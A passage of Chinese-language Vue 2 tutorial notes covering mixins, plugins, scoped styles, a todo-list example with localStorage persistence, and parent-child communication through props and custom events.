// 如果混合中的和本组件中元素名称冲突了,以本组件中为主。但如果是混合中的生命周期钩子冲突的话,不以任何为主,都要。
export default {
    name:'Student',
    data(){
        return{
           name:"张三",
            sex:"男"
            
        }
    },
    /* methods:{
      showName(){
        alert(this.name)
      }
    }, */
    mixins:[hunhe,hunhe2]
}
</script>

全局配置混入需要在main.js中加上以下代码

/* 全局配置混合 所有的vc或vm中都会用到该混合 */
import {hunhe,hunhe2} from './mixin'
Vue.mixin(hunhe)
Vue.mixin(hunhe2)

插件

写了一个插件后,只需在main.js中use一下,在组件中就可使用了

main.js同级目录中创建plugin.js

/* 
    插件
        功能:用于增强Vue
        本质:包含install方法的一个对象,install的第一个参数是Vue,第二个以后的参数是插件使用者传递的数据。
    定义插件:
        对象.instal1 = function (Vue,options){
    // 1.添加全局过滤器Vue.fi1ter(....)
    // 2.添加全局指令Vue.directive(.. ..)
    // 3.配置全局混入(合)Vue.mixin(.. . .)
    // 4.添加实例方法
        Vue.prototype.$myMethod = function () {...}
        Vue.prototype.$myProperty = xxxX
        使用插件:Vue.use()
 */
export default{
    install(Vue){//参数为Vue的构造
        console.log("@@@")
        // 全局过滤器
        Vue.filter("mySlice2",function(value){
            return value.slice(0,4)
        })  

        // 全局自定义指令
        Vue.directive('fbind2',{
            bind(element,binding){
                element.value=binding.value
            },
            inserted(element,binding){
                element.focus()
            },
            update(element,binding){
                element.value = binding.value
            }
        })

        //全局定义混入
        Vue.mixin({data() {
            return {
                x:100,
                y:200
            }
        },})

        //给Vue原型上添加一个方法  vm和vc就都能用了
        Vue.prototype.hello = () =>{alert('你好啊')}
    }
}

main.js中引入

import Vue from 'vue'
import App from "./App.vue"
import plugins from './plugins.js'
//import plugins2 from './plugins2.js'
Vue.use(plugins)
//Vue.use(plugins2)
// 有多个插件也可接着进入接写use
Vue.config.productionTip=false
new Vue({
  el:"#app",
  render:h=>h(App)
})

App.vue

<template>
  <div>
   <Student/>
   <hr>
   <School/>
  </div>
</template>
<script>
import Student from './components/Student.vue'
import School from './components/School.vue'
export default {
  name:"App",
  components:{
    Student,
    School
  },
}
</script>

School.vue

<template>
  <div > 
    <h2>学校名{{name|mySlice2}}</h2>
    <!-- 测试插件中的全局过滤器 -->
    <h2>学校地址{{address}}</h2>
  </div>
</template>
<script> 
export default {
    name:'School',
    data(){
        return{
           name:"尚硅谷hello",
            address:"北京"
        }
    }
}
</script>

Student.vue

<template>
  <div > 
    <h2>学生姓名{{name}}</h2>
    <h2>学生性别{{sex}}</h2>
    <input type="text" v-fbind2:value="name"/>
    <!-- 测试插件中全局的自定义属性 -->
    <button @click="test">点我测试一下hello方法</button>
  </div>
</template>
<script> 
export default {
    name:'Student',
    data(){
        return{
           name:"张三",
            sex:"男"
            
        }
    },
    methods:{
      test(){
        this.hello()
      }
    }
}
</script>

scoped样式

组件中style如果不加scoped,会最终把所有组件的style混在一起,如果名称冲突的话,就会发生问题,如School组件style样式名称叫demo,Student组建中style样式名称也叫demo,App.vue的script中上方先引入School,再引入Student就会先用School中的demo样式。

加上scoped就不会出现这个问题了,但App.vue的style不适合用这个scoped,因为App.vue中写style可能就是要很多组件通用的。

scoped样式作用:让样式在局部生效,防止冲突。写法:<style scoped>

<template>
  <div class="demo"> 
    <h2>学生姓名{{name}}</h2>
    <h2>学生性别{{sex}}</h2>
  </div>
</template>
<script> 
export default {
    name:'Student',
    data(){
        return{
           name:"张三",
            sex:"男"
            
        }
    },
}
</script>
<style lang="css" scoped >
/* 
css和less都是style的lang,即语言。less是css预编译语言,vue脚手架不适配less,需要安装less-loader。
npm view less-loader versions查看版本,安装7 npm i less-loader@7 */
.demo{
  background-color: orange;
}
</style>

 组件化编码流程(通用)

1.实现静态组件:抽取组件,使用组件实现静态页面效果
2.展示动态数据:
        2.1.数据的类型、名称是什么?

        2.2.数据保存在哪个组件?
3.交互——从绑定事件监听开始 

nanoid 

 下案例App.vue中用到了

项目todoList案例

 1、先做静态组件

由于HTml5中有<header>和<head>和<footer>标签,组件起名不要起为Header.vue之类.

如果是react或jquery或原生项目向vue迁移,直接把html中的内容先copy到App.vue中template,css拷贝到App.vue中的style中,然后找header部分代码拷贝走TestHeader.vue中,并在App.vue中先用<TestHeader>占好位置。其他同样方式拷贝到相应部分到相应组件中。css,公用的留在App.vue的style中,且不用scoped修饰。其他相应部分的到相应组件的style中去。然后清除加上scoped.

2、展示动态数据

App.vue

<template>
  <div class="todo-container">
    <div class="todo-wrap">
      <TestHeader :onEvent='receive'/>
      <TestList :onEvent="dataFun" :todoList="todos"/>
      <TestFooter :todoList="todos" :onEvent="isCheckedAll" :delDownEvent="delDownFun"/>
    </div>
  </div>
</template>
<script>
import TestHeader from './components/TestHeader.vue'
import TestFooter from './components/TestFooter.vue'
import TestList from './components/TestList.vue'
export default {
  name:"App",
  data() {
    return {
      todos:[]
    }
  },
  components:{
    TestHeader,
    TestFooter,
    TestList,
  },
  methods:{
    dataFun(data){//用于TestList的props子传父的函数
            this.todos=data
            console.log("@@@@@",this.todos)
    },
    receive(data){//用于TestHeader的props子传父的函数
      console.log("#####",data)
      this.todos.unshift(data)
    },
    isCheckedAll(data){
      console.log("@@@checkedAll",data)
      if(data==true){
        this.todos.forEach((item)=>{
          item.done=true
        })
      }else{
        this.todos.forEach((item)=>{
          item.done=false
        })
      }
    },
    delDownFun(){
      this.todos  =this.todos.filter((todo)=>{
        return !todo.done
      })
    }
  }
}
</script>
<style>
  /* base */
  body{
    background: #fff;
  }
  .btn{
    display: inline-block;
    padding:  4px 12px;
    margin-bottom: 0;
    font-size: 14px;
    line-height: 20px;
    text-align: center;
    vertical-align: middle;/* 剧中垂直对齐 */
    cursor: pointer; /* 鼠标点过显示小手 */
    box-shadow: inset 0 1px 0  rgba(255,255,255,0.2), 0 1px 2px rgba(0,0,0,0.05);/* 盒阴影 */
    border-radius: 4px;
  }
  .btn-danger{
    color: #fff;
    background-color: #da4f49;
    border: 1px solid #bd362f;
  }
  .btn-danger:hover{
    color: #fff;
    background-color: #bd362f;
  }
  .btn:focus{
    outline: none;
  }
  .todo-container{
    width: 600px;
    margin: 0 auto;
  }
  .todo-container .todo-wrap{
    padding: 10px;
    border: 1px solid #ddd;
    border-radius: 5px;
  }
</style>

components文件夹下创建TestHeader.vue TestList.vue TestItem.vue TestFooter.vue 

 TestHeader.vue

<template>
  <div class="todo-header">
    <input type="text" placeholder="请输入你的任务名称,按回车确认" @keyup.enter="add"/>
  </div>
</template>
<script>
import {nanoid} from 'nanoid'
export default {
    name:"TestHeader",
    methods:{
        add(e){
            if(!e.target.value.trim()==""){
                console.log(e.target.value)//由于表单只有一个input,就不麻烦使用v-molde,直接事件获取dom的target的value
                //包装成todoObj对象
                const todoObj = {
                    id:nanoid(),//对于id,我们可使用uuid,但uuid太大了,使用nanoid,体积小一些。终端输入npm i nanoid下载安装nanoid
                    title:e.target.value,
                    done:false
                }
                console.log(todoObj)
                this.onEvent(todoObj)//这里通过props函数参数传给父
                e.target.value=""
            }else{
                e.target.value=""
                return alert("输入不能为空")
            }
        }
    },
     props:{
        onEvent:Function
    }
}
</script>

<style scoped>
.todo-header input{
    width: 560px;
    height: 28px;
    font-size: 14px;
    border: 1px solid #ccc;
    border-radius: 4px;
    padding: 4px 7px;
}
.todo-header input:focus{
    outline: none;
    border-color: rgba(82,168,236,0.8);
    box-shadow: inset 0 1px 1px rgba(0, 0,0,0.075), 0 0 8px rgba(82, 168,2236, 0.6);
}
</style>

 TestList.vue

<template>
    <ul class="todo-main">
        <!--  --> 
        <TestIteam :changeDataEvent="changeDataFun" :delItem="delFun" v-for="todoObj of todos" :key="todoObj.id" :todo="todoObj"/>
        <div style="display:none">{{onEvent(todos)}}</div>
    </ul>
</template>
<script>
import { watch } from 'vue'
import TestIteam from './TestIteam.vue'
export default {
    name:"TestList",
    data() {
        return {
            todos:[
                {id:"001",title:"看喜羊羊",done:true},
                {id:"002",title:"看灰太狼",done:false},
                {id:"003",title:"看大大怪",done:true},
            ]
        }
    },
    components:{
        TestIteam
    },
    props:{
        onEvent:Function,
        todoList:Array
    },
    watch:{
        todoList(value){this.todos=this.todoList}
    },
    methods:{
        changeDataFun(data){//用于TestItem的props子传父的函数
            console.log("@@@##",data)
            //数据在哪,操作数据的方法就在哪
            this.todos.forEach((todo)=>{
                if(todo.id==data.id){
                    todo=data
                }
            })
         },
         //数据在哪,操作数据的方法就在哪
         delFun(id){
            this.todos = this.todos.filter((item)=>{
                return item.id!=id
            })
         }
    }
}
</script>

<style scoped>
.todo-main{
    margin-left: 0px;
    border: 1px solid #ddd;
    border-radius: 2px;
    padding: 0px;
}
.todo-empty{
    height: 40px;
    line-height: 40px;
    border: 1px solid #ddd;
    border-radius: 2px;
    padding-left: 5px;
    margin-top: 10px;

}
</style>

 TestItem.vue

<template>
          <li>
            <label>
                <!-- 容易的做法,但稍微违反原则的做法为(props不允许修改),使用v-model="todo.down"替换下面代码:checked="todo.done" @click="handleCheck(todo.id,$event) -->
                <!-- 因为v-model很强大,能数据双向绑定,勾选和不勾选可影响v-moddel,v-model直接绑定的是TestList.vue中的todos,就直接修改了TestList的todos相应的元素的值 -->
                <input type="checkbox" :checked="todo.done" @click="handleCheck(todo.id,$event)"/>
                <!-- 选框可使用@click(todo.id,$event),或使用@change(todo.id,$event) -->
                <span>{{todo.title}}</span>
            </label>
            <button class="btn btn-danger" @click="del(todo.id)">删除</button>
        </li>
</template>

<script>
export default {
    name:"TestItem",
    props:{
        changeDataEvent:Function,
        "todo":Object,
        delItem:Function
    },
    methods:{
        handleCheck(id,e){
            console.log(id)
            //数据在哪,操作数据的方法就在哪
            this.todo.done = !this.todo.done
            this.changeDataEvent(this.todo)
        },
        del(id){
            /* confirm("确定删除吗?")根据用户的交互来判断真假 */
            if(confirm("确定删除吗?")){
                this.delItem(this.todo.id)
            }
        }
    }
}
</script>

<style scoped>
li{
    list-style: none;
    height: 36px;
    line-height: 36px;
    padding: 0 5px;
    border-bottom: 1px solid #ddd;
}
li label{
    float:left;
    cursor:pointer  /* 鼠标点过显示小手 */
}
li label li input{
    vertical-align: middle;
    margin-right: 6px;
    position: relative;/* 定位设置为相对定位 */
    top: -1px;
}
li button{
    float: right;
    display: none;
    margin-top: 3px;
}
li:before{
    content: initial;
}
li:last-child{
    border-bottom: none;
}
li:hover{
    background-color: #ddd;
}
li:hover button{
    display: block;
}
</style>

 TestFooter.vue

<template>
    <div class="todo-footer" v-show="total">
        <label>
            <!--用v-model绑定计算属性替换:checked="isAll" @click="checkAll" -->
            <input type="checkbox" v-model="isAll" />
        </label>
        <span>
            <span>{{downTotal}}</span>/{{total}}
        </span>
        <button class="btn btn-danger" @click="clearAllDone">清除已完成的任务 </button>
    </div>
</template>

<script>
import { set } from 'vue';
export default {
    name:"TestFooter",
    props:{
        onEvent:Function,
        "todoList":Array,
        delDownEvent:Function
    },
    computed:{//计算属性可对data的改变监测然后在计算
        downTotal(){
            /* let i  =0;
            this.todoList.forEach((todo)=>{
                if(todo.done==true){
                    i++;
                }
            })
            return i */
            //还可使用reduce
            return this.todoList.reduce((pre,current)=>{
                //循环数组长度遍数
                //console.log("@@",pre) //0,1,2 
                //return pre+1; 
                return pre + (current.done ? 1:0)
            },0)//给个初始值为0,
        },
        total(){
            return this.todoList.length;
        },
        /* isAll(){
            return this.downTotal == this.total  && this.total>0
        }, */
        isAll:{
            get(){
                return this.downTotal == this.total  && this.total>0
            },
            set(value){
                this.onEvent(value)
            }
        }
    },
    /* methods:{
        checkAll(e){
            //console.log(e.target.checked)
            //传给父组件App.vue
            this.onEvent(e.target.checked)
        }
    } */
    methods:{
        clearAllDone(){
            //传给父组件App.vue
            this.delDownEvent()
        }
    }
}
</script>

<style scoped>
.todo-footer{
    height: 40px;
    line-height: 40px;
    padding-left: 6px;
    margin-top: 5px;
}
.todo-footer label{
    display: inline-block;/* inline-block可以说是结合了inline和block的部分属性,最大的特点便是可以使元素在一行上显示 ,又能够改变元素的height,width的值. 使用padding,margin的top,left,bottom,right都能够撑开元素。 */
    margin-right: 20px;
    cursor: pointer;
}
.todo-footer label input{
    position: relative;
    top: -1px;
    vertical-align: middle;
    margin-right: 5px;
}
.todo-footer button{
    float: right;
    margin-top: 5px;
}
</style>
 总结案例

1.组件化编码流程:

    (1).拆分静态组件:组件要按照功能点拆分,命名不要与htm1元素冲突。

    (2).实现动态组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用:

        1).一个组件在用:放在组件自身即可。

        2).一些组件在用:放在他们共同的父组件上(<span style="color:red">状态提升</span>)

    (3).实现交互:从绑定事件开始。

2. props适用于:

    (1).父组件==>子组件通信

    (2).子组件==>父组件通信(要求父先给子一个函数)

3.使用v-model时要切记: v-model绑定的值不能是props传过来的值,因为props是不可以修改的!

4. props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做。

浏览器本地存储localStorage

storage和sessionStorage

如唯品会的搜索框的搜索历史

在f12的Application的Storage中的Local Storage中,点击某个网页地址。右侧key-value选中,点击上面的叉号就删除掉。

sessionStorage存放的东西只要关闭浏览器就会消失。
localStorage存放的东西只有比如清空缓存或引导用户点击按钮调用api删除才会删除 

LocalStorage.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>LocalStorage</title>
</head>
<body>
    <h2>LocalStorage</h2>
    <button onclick="savaData()">点我保存一个localStorage</button>
    <button onclick="readData()">点我读取一个localStorage</button>
    <input type="text" id="demo"/>
    <button onclick="delData()">点我删除一个localStorage</button>
    <button onclick="delAll()">点我清空localStorage</button>
    <!-- 原生html -->
    <script type="text/javascript">
        function savaData(){
            let p = {name:"张三",age:18}
            localStorage.setItem('msg','hello')
            localStorage.setItem('msg2',666)//只能保存字符串类型,数字类型也会转为字符串
            localStorage.setItem('person',p)//只能存字符串类型,对象类型的value会变成[object Object]
            //对象类型存储storage,可先转为json字符串
            localStorage.setItem('person2',JSON.stringify(p))
        }
        function readData(){
            console.log(localStorage.getItem('msg'))
            console.log(localStorage.getItem('msg2'))
            console.log(localStorage.getItem('person'))
            console.log(localStorage.getItem('person2'))
            console.log(JSON.parse(localStorage.getItem('person2')))
        }
        function delData(){
            var val = document.getElementById('demo').value;
            localStorage.removeItem(val)
        }
        function delAll(){
            localStorage.clear()
        }
    </script>
</body>

</html>

localStorage还有一个弟弟sessionStorage

 sessionStorage.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>sessionStorage</title>
</head>
<body>
    <h2>sessionStorage</h2>
    <button onclick="savaData()">点我保存一个sessionStorage</button>
    <button onclick="readData()">点我读取一个sessionStorage</button>
    <input type="text" id="demo"/>
    <button onclick="delData()">点我删除一个sessionStorage</button>
    <button onclick="delAll()">点我清空sessionStorage</button>
    <!-- 原生html -->
    <script type="text/javascript">
        function savaData(){
            let p = {name:"张三",age:18}
            sessionStorage.setItem('msg','hello')
            sessionStorage.setItem('msg2',666)//只能保存字符串类型,数字类型也会转为字符串
            sessionStorage.setItem('person',p)//只能存字符串类型,对象类型的value会变成[object Object]
            //对象类型存储storage,可先转为json字符串
            sessionStorage.setItem('person2',JSON.stringify(p))
        }
        function readData(){
            console.log(sessionStorage.getItem('msg'))
            console.log(sessionStorage.getItem('msg2'))
            console.log(sessionStorage.getItem('person'))
            console.log(sessionStorage.getItem('person2'))
            console.log(JSON.parse(sessionStorage.getItem('person2')))
        }
        function delData(){
            var val = document.getElementById('demo').value;
            sessionStorage.removeItem(val)
        }
        function delAll(){
            sessionStorage.clear()
        }
    </script>
</body>

</html>

webStorage

    1.存储内容大小一般支持5MB左右(不同浏览器可能还不一样)

    2.浏览器端通过Window.sessionStorage和Window.localStorage属性来实现本地存储机制。

    3.相关API:

        1.xxxxxStorage.setItem( ' key ' , 'value ' ) ;

        该方法接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值

        2. xxxxxStorage.getItem( 'person');

        该方法接受一个键名作为参数,返回键名对应的值。

        3.xxxxxStorage.removeItem( ' key ' ) ;

        该方法接受一个键名作为参数,并把该键名从存储中删除。

        4.xxxxxStorage.clear()

        该方法会清空存储中的所有数据。

    4.备注:

        1.SessionStorage存储的内容会随着浏览器窗口关闭而消失。

        2.LocalStorage存储的内容,需要手动清除才会消失。

        3.xxxxxStorage.getItem(xxx)如果xxx对应的value获取不到,那么getltem的返回值是null。

        4. JSON.parse(null)的结果依然是null。

项目todoList案例加上本地存储

还是接着上面的todoList案例 

给App.vue加上watch监视todos数组发生变化就存到localStorage中,且开启深度监视。

<template>
  <div class="todo-container">
    <div class="todo-wrap">
      <TestHeader :onEvent='receive'/>
      <TestList :onEvent="dataFun" :todoList="todos"/>
      <TestFooter :todoList="todos" :onEvent="isCheckedAll" :delDownEvent="delDownFun"/>
    </div>
  </div>
</template>
<script>
import TestHeader from './components/TestHeader.vue'
import TestFooter from './components/TestFooter.vue'
import TestList from './components/TestList.vue'
export default {
  name:"App",
  data() {
    return {
      todos:[]
    }
  },
  components:{
    TestHeader,
    TestFooter,
    TestList,
  },
  methods:{
    dataFun(data){//用于TestList的props子传父的函数
            this.todos=data
            console.log("@@@@@",this.todos)
    },
    receive(data){//用于TestHeader的props子传父的函数
      console.log("#####",data)
      this.todos.unshift(data)
    },
    isCheckedAll(data){
      console.log("@@@checkedAll",data)
      if(data==true){
        this.todos.forEach((item)=>{
          item.done=true
        })
      }else{
        this.todos.forEach((item)=>{
          item.done=false
        })
      }
    },
    delDownFun(){
      this.todos  =this.todos.filter((todo)=>{
        return !todo.done
      })
    }
  },
    watch:{//使用watch,监视todos,当todos一发生变化,将todos数组存放到本地存储loalStorage。
      //而且要深度监测,包括数组中的对象的属性变化也要检测到
        todos:{
          deep:true,
          handler(value){
            console.log(value)
            localStorage.setItem("todos",JSON.stringify(value))
          }
        }
    }
}
</script>
<style>
  /* base */
  body{
    background: #fff;
  }
  .btn{
    display: inline-block;
    padding:  4px 12px;
    margin-bottom: 0;
    font-size: 14px;
    line-height: 20px;
    text-align: center;
    vertical-align: middle;/* 剧中垂直对齐 */
    cursor: pointer; /* 鼠标点过显示小手 */
    box-shadow: inset 0 1px 0  rgba(255,255,255,0.2), 0 1px 2px rgba(0,0,0,0.05);/* 盒阴影 */
    border-radius: 4px;
  }
  .btn-danger{
    color: #fff;
    background-color: #da4f49;
    border: 1px solid #bd362f;
  }
  .btn-danger:hover{
    color: #fff;
    background-color: #bd362f;
  }
  .btn:focus{
    outline: none;
  }
  .todo-container{
    width: 600px;
    margin: 0 auto;
  }
  .todo-container .todo-wrap{
    padding: 10px;
    border: 1px solid #ddd;
    border-radius: 5px;
  }
</style>

给TestList.vue中todos的data数据,让其读取浏览器的localStorage作为值。 

<template>
    <ul class="todo-main">
        <!--  --> 
        <TestIteam :changeDataEvent="changeDataFun" :delItem="delFun" v-for="todoObj of todos" :key="todoObj.id" :todo="todoObj"/>
        <div style="display:none">{{onEvent(todos)}}</div>
    </ul>
</template>
<script>
import { watch } from 'vue'
import TestIteam from './TestIteam.vue'
export default {
    name:"TestList",
    data() {
        return {
            /* todos:[
                {id:"001",title:"看喜羊羊",done:true},
                {id:"002",title:"看灰太狼",done:false},
                {id:"003",title:"看大大怪",done:true},
            ] */
            //使用localStorage读取本地缓存,赋值给todos数组
            todos:JSON.parse(localStorage.getItem('todos')) || []
            //如果浏览器todos的value为null,或没有todos这个key,就用[]上面的写法的意思是,如果本地缓存有值就为真就直接用,如果本地缓存为空前面为假,就用||后面的值即空数组。
        }
    },
    components:{
        TestIteam
    },
    props:{
        onEvent:Function,
        todoList:Array
    },
    watch:{
        todoList(value){this.todos=this.todoList}
    },
    methods:{
        changeDataFun(data){//用于TestItem的props子传父的函数
            console.log("@@@##",data)
            //数据在哪,操作数据的方法就在哪
            this.todos.forEach((todo)=>{
                if(todo.id==data.id){
                    todo=data
                }
            })
         },
         //数据在哪,操作数据的方法就在哪
         delFun(id){
            this.todos = this.todos.filter((item)=>{
                return item.id!=id
            })
         }
    }
}
</script>

<style scoped>
.todo-main{
    margin-left: 0px;
    border: 1px solid #ddd;
    border-radius: 2px;
    padding: 0px;
}
.todo-empty{
    height: 40px;
    line-height: 40px;
    border: 1px solid #ddd;
    border-radius: 2px;
    padding-left: 5px;
    margin-top: 10px;

}
</style>

 其他文件不用变。

组件自定义事件

自定义事件是给组件使用的,区别于js中的内置事件

子传父,School中name传给App,使用方式一props函数,Student传name给App使用方式二自定义事件

 App.vue

<template>
  <div class="app">
    <h1>{{msg}}</h1>
    <!-- 通过父组件给子组件传递函数类型的props实现:子给父传递数据 -->
    <School :getSchoolName="getSchoolName"/>
    <!-- 给student的vc身上绑定了一个自定义事件,名为atguigu,如果将来有人触发了该事件,就会调用demo函数 -->
    <!-- 想触发atguigu,需要找Student实例对象,需来到Student.vue -->
    <!-- <Student v-on:atguigu="getStudentName"/> -->
    <!-- <Student @atguigu.once="getStudentName"/> once事件修饰符仅触发一次-->
    <!-- 上行代码为自定义事件v-on的第一种写法,。下面这个为第二种写法,使用ref获取dom元素的方式,再加上下面的mounted钩子,这种写法灵活性强 -->
    <Student ref="student"/>

  </div>
</template>
<script>
import School from './components/School.vue'
import Student from './components/Student.vue'
export default {
  name:"App",
  data() {
    return {
      msg:"你好啊"  
    }
  },
  components:{
    School,
    Student,
  },
  methods:{
    getSchoolName(name){
      console.log("App.vue中接收了School组件传过来的name值是",name)
    },
    getStudentName(name,x,y){//多个参数继续写多个参数接收,还可包装成对象接收。也可用es6的写法(name,...params),后面参数整理到params这个数组中
      console.log("getStudent被调用了,收到了学生名",name)
    }
  },
  mounted(){//this.$refs.student.获取dom,$on("atguigu",this.getStudentName)绑定一个事件,触发时调用getStudentName函数
  /* setTimeout(() => {
    this.$refs.student.$on("atguigu",this.getStudentName)
  }, 3000);//灵活性强 */
    this.$refs.student.$once("atguigu",this.getStudentName)//$once时间修饰符,仅触发一次
  }
}
</script>
<style scoped>
  .app{
    background-color: grey;
    padding: 5px;
  }
</style>

School.vue 

<template>
  <div class="school">
    <h2>学校名称:{{name}}</h2>
    <h2>学校地址:{{address}}</h2>
    <button @click="sendSchoolName">点我传递学校名到App.vue</button>
  </div>
</template>

<script>
export default {
    name:"School",
    data(){
        return{
            name:"尚硅谷",
            address:'北京'
        }
    },
    props:{
      getSchoolName:Function
    },
    methods:{
      sendSchoolName(){
        this.getSchoolName(this.name)
      }
    }
}
</script>

<style>
.school{
    background-color: skyblue;
    padding: 5px;
}

</style>

 Student.vue

<template>
  <div class="student">
    <h2>学生姓名:{{name}}</h2>
    <h2>学生性别:{{sex}}</h2>
    <button @click="sendStudentName">点我传递学生到App.vue</button>
  </div>
</template>

<script>
export default {
    name:"School",
    data(){
        return{
            name:"张三",
            sex:'男'
        }
    },
    methods:{
      sendStudentName(){
        //this就是student的vc实例对象 使用$emit()触发Student组件实例身上的atguigu事件
        //this.$emit('atguigu')
        this.$emit('atguigu',this.name,66,900)//多个参数直接写,在父组件的方法中也用多个参数接收
      }
    }
}
</script>

<style scoped>
.student{
    background-color: pink;
    padding: 5px;
    margin-top: 30px;
}
</style>

组件自定义事件解绑

this.$off()。补充验证vc或vm实例销毁后,里面的自定义属性都失效了 

App.vue

<template>
  <div class="app">
    <h1>{{msg}}</h1>
    <!-- 通过父组件给子组件传递函数类型的props实现:子给父传递数据 -->
    <School :getSchoolName="getSchoolName"/>
    <!-- 给student的vc身上绑定了一个自定义事件,名为atguigu,如果将来有人触发了该事件,就会调用demo函数 -->
    <!-- 想触发atguigu,需要找Student实例对象,需来到Student.vue -->
    <!-- <Student v-on:atguigu="getStudentName"/> -->
    <!-- <Student @atguigu.once="getStudentName"/> once事件修饰符仅触发一次-->
    <!-- 上行代码为自定义事件v-on的第一种写法,。下面这个为第二种写法,使用ref获取dom元素的方式,再加上下面的mounted钩子,这种写法灵活性强 -->
    <Student ref="student" @demo="m1"/>

  </div>
</template>
<script>
import School from './components/School.vue'
import Student from './components/Student.vue'
export default {
  name:"App",
  data() {
    return {
      msg:"你好啊"  
    }
  },
  components:{
    School,
    Student,
  },
  methods:{
    getSchoolName(name){
      console.log("App.vue中接收了School组件传过来的name值是",name)
    },
    getStudentName(name,x,y){//多个参数继续写多个参数接收,还可包装成对象接收。也可用es6的写法(name,...params),后面参数整理到params这个数组中
      console.log("getStudent被调用了,收到了学生名",name)
    },
    m1(){
      console.log("demo事件被触发了")
    }
  },
  mounted(){//this.$refs.student.获取dom,$on("atguigu",this.getStudentName)绑定一个事件,触发时调用getStudentName函数
  /* setTimeout(() => {
    this.$refs.student.$on("atguigu",this.getStudentName)
  }, 3000);//灵活性强 */
    //this.$refs.student.$once("atguigu",this.getStudentName)//$once时间修饰符,仅触发一次
    this.$refs.student.$on("atguigu",this.getStudentName)
  }
}
</script>
<style scoped>
  .app{
    background-color: grey;
    padding: 5px;
  }
</style>

Student.vue

<template>
  <div class="student">
    <h2>学生姓名:{{name}}</h2>
    <h2>学生性别:{{sex}}</h2>
    <h2>number:{{number}}</h2>
    <button @click="add()">点我number++</button>
    <button @click="sendStudentName">点我传递学生到App.vue</button>
    <button @click="unbind">点我解绑atguigu事件</button>
    <button @click="destoryThis()">销毁当前student组件的实例对象(vc)</button>
  </div>
</template>
<script>
export default {
    name:"School",
    data(){
        return{
            name:"张三",
            sex:'男',
            number:0
        }
    },
    methods:{
      add(){
        console.log("add被调用了")
        this.number++;
      },
      sendStudentName(){
        //this就是student的vc实例对象 使用$emit()触发Student组件实例身上的atguigu事件
        //this.$emit('atguigu')
        this.$emit('atguigu',this.name,66,900)//多个参数直接写,在父组件的方法中也用多个参数接收
        //再触发一个demo事件
        this.$emit('demo')
      },
      unbind(){
        //this.$off('atguigu')//解绑一个自定义事件
        //this.$off(['atguigu','demo'])//解绑多个自定义事件
        this.$off()//解绑所有的自定义事件
      },
      destoryThis(){
        this.$destroy()//销毁了当前Student组件的实例,销毁后所有Student实例的自定义事件全都不奏效。
      }
    }
}
</script>

<style scoped>
.student{
    background-color: pink;
    padding: 5px;
    margin-top: 30px;
}
</style>

main.js

import Vue from 'vue'
import App from "./App.vue"
Vue.config.productionTip=false
new Vue({
  el:"#app",
/*   mounted(){
    setTimeout(() => {
      this.$destroy()
    }, 3000);
  }, */
  render:h=>h(App)
})

School.vue组件同上面组件自定义事件中的。

todoList案例改成自定义事件

App.vue

<template>
  <div class="todo-container">
    <div class="todo-wrap">
      <!-- <TestHeader :onEvent='receive'/> -->
      <TestHeader @receiveEvent='receive'/>
      <!-- <TestList :onEvent="dataFun" :todoList="todos"/> -->
      <TestList @todosEvent="getTodos" :todoList="todos"/>
      <!-- <TestFooter :todoList="todos" :onEvent="isCheckedAll" :delDownEvent="delDownFun"/> -->
      <TestFooter :todoList="todos" @isCheckedAllEvent="isCheckedAll" @delDownEvent="delDownFun"/>
    </div>
  </div>
</template>
<script>
import TestHeader from './components/TestHeader.vue'
import TestFooter from './components/TestFooter.vue'
import TestList from './components/TestList.vue'
export default {
  name:"App",
  data() {
    return {
      todos:[]
    }
  },
  components:{
    TestHeader,
    TestFooter,
    TestList,
  },
  methods:{
    /* dataFun(data){//用于TestList的props子传父的函数
            this.todos=data
            console.log("@@@@@",this.todos)
    }, */
    getTodos(data){
       this.todos=data
       console.log("@@666",this.todos)
    },
    receive(data){//用于TestHeader的props子传父的函数
      console.log("#####",data)
      this.todos.unshift(data)
    },
    isCheckedAll(data){
      console.log("@@@checkedAll",data)
      if(data==true){
        this.todos.forEach((item)=>{
          item.done=true
        })
      }else{
        this.todos.forEach((item)=>{
          item.done=false
        })
      }
    },
    delDownFun(){
      this.todos  =this.todos.filter((todo)=>{
        return !todo.done
      })
    }
  },
    watch:{//使用watch,监视todos,当todos一发生变化,将todos数组存放到本地存储loalStorage。
      //而且要深度监测,包括数组中的对象的属性变化也要检测到
        todos:{
          deep:true,
          handler(value){
            console.log(value)
            localStorage.setItem("todos",JSON.stringify(value))
          }
        }
    }
}
</script>
<style>
  /* base */
  body{
    background: #fff;
  }
  .btn{
    display: inline-block;
    padding:  4px 12px;
    margin-bottom: 0;
    font-size: 14px;
    line-height: 20px;
    text-align: center;
    vertical-align: middle;/* 剧中垂直对齐 */
    cursor: pointer; /* 鼠标点过显示小手 */
    box-shadow: inset 0 1px 0  rgba(255,255,255,0.2), 0 1px 2px rgba(0,0,0,0.05);/* 盒阴影 */
    border-radius: 4px;
  }
  .btn-danger{
    color: #fff;
    background-color: #da4f49;
    border: 1px solid #bd362f;
  }
  .btn-danger:hover{
    color: #fff;
    background-color: #bd362f;
  }
  .btn:focus{
    outline: none;
  }
  .todo-container{
    width: 600px;
    margin: 0 auto;
  }
  .todo-container .todo-wrap{
    padding: 10px;
    border: 1px solid #ddd;
    border-radius: 5px;
  }
</style>

TestHeader.vue

<template>
  <div class="todo-header">
    <input type="text" placeholder="请输入你的任务名称,按回车确认" @keyup.enter="add"/>
  </div>
</template>
<script>
import {nanoid} from 'nanoid'
export default {
    name:"TestHeader",
    methods:{
        add(e){
            if(!e.target.value.trim()==""){
                console.log(e.target.value)//由于表单只有一个input,就不麻烦使用v-molde,直接事件获取dom的target的value
                //包装成todoObj对象
                const todoObj = {
                    id:nanoid(),//对于id,我们可使用uuid,但uuid太大了,使用nanoid,体积小一些。终端输入npm i nanoid下载安装nanoid
                    title:e.target.value,
                    done:false
                }
                console.log(todoObj)
                // this.onEvent(todoObj)//这里通过props函数参数传给父
                this.$emit("receiveEvent",todoObj)//通过自定义事件,传参数给父组件
                e.target.value=""
            }else{
                e.target.value=""
                return alert("输入不能为空")
            }
        }
    },
     props:{
        // onEvent:Function
    }
}
</script>

<style scoped>
